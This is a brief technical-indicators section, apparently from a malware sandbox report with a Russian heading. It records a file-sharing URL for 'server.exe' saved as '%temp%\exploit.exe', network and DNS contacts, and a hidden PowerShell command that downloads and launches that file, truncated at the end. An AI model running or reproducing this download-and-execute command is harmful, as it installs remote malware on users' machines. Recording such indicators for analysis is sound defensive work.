Техническая информация
- https://filebin.net/14d02ymjvl28v5k4/server.exe?t=fgly5v9d как %temp%\exploit.exe
- 'fi##bin.net':443
- 'fi##bin.net':443
- DNS ASK fi##bin.net
- '<SYSTEM32>\cmd.exe' /c powershell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://filebin.net/14d02ymjvl28v5k4/Server.exe?t=fgly5v9d','%temp%\exploit.exe');Start-Process '%temp%\exp...